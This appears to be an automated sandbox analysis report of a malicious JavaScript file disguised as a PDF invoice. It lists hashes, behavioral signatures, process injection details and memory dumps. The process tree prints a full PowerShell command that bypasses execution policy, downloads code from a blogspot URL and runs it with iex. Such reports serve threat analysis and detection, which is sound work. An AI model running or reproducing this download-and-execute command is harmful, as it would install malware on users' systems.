Analysis
-
max time kernel
122s -
max time network
123s -
platform
windows7_x64 -
resource
win7-20240220-en -
resource tags
arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system -
submitted
06-05-2024 06:21
Static task
static1
Behavioral task
behavioral1
Sample
lnvoice-1205700442.pdf (4).js
Resource
win7-20240220-en
Behavioral task
behavioral2
Sample
lnvoice-1205700442.pdf (4).js
Resource
win10v2004-20240419-en
General
-
Target
lnvoice-1205700442.pdf (4).js
-
Size
1.8MB
-
MD5
fffee7bcbf8f724b68d02ebe0c5a133b
-
SHA1
739696c36214a1a37f382b4da835ba44d2665027
-
SHA256
b9b4fb770fdb055d474f1a54886bdc380c22afa777a3a0aeaf42a04dcb6a56a8
-
SHA512
3f2bd2aa6b5cb22aa0c2042fa3af032c83b55f7e5407344cdb502abaf33b3e42d2e0073540226e6a8f3e09f3495ddbc339bfa29a38e420f11583632aa55fe8f4
-
SSDEEP
768:cNWDuYelMVBbnPOgADSb8O/b64/jWsYOS+Hu8N0RNta7SuHiHwdcU6AH6xgO:JewBbnPOgnh/6OSAuNA6H9AH83
Malware Config
Signatures
-
Command and Scripting Interpreter: JavaScript 1 TTPs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 2576 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2576 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
wscript.exedescription pid process target process PID 2072 wrote to memory of 2576 2072 wscript.exe powershell.exe PID 2072 wrote to memory of 2576 2072 wscript.exe powershell.exe PID 2072 wrote to memory of 2576 2072 wscript.exe powershell.exe
Processes
-
C:\Windows\system32\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Temp\lnvoice-1205700442.pdf (4).js"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;$(irm mainhotel5may.blogspot.com//////////////////////hehehehe) | . iex;Start-Sleep -Seconds 3;2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/2576-4-0x000007FEF5EBE000-0x000007FEF5EBF000-memory.dmpFilesize
4KB
-
memory/2576-5-0x000000001B700000-0x000000001B9E2000-memory.dmpFilesize
2.9MB
-
memory/2576-7-0x000007FEF5C00000-0x000007FEF659D000-memory.dmpFilesize
9.6MB
-
memory/2576-6-0x0000000002720000-0x0000000002728000-memory.dmpFilesize
32KB
-
memory/2576-9-0x000007FEF5C00000-0x000007FEF659D000-memory.dmpFilesize
9.6MB
-
memory/2576-8-0x000007FEF5C00000-0x000007FEF659D000-memory.dmpFilesize
9.6MB
-
memory/2576-10-0x000007FEF5C00000-0x000007FEF659D000-memory.dmpFilesize
9.6MB
-
memory/2576-11-0x000007FEF5C00000-0x000007FEF659D000-memory.dmpFilesize
9.6MB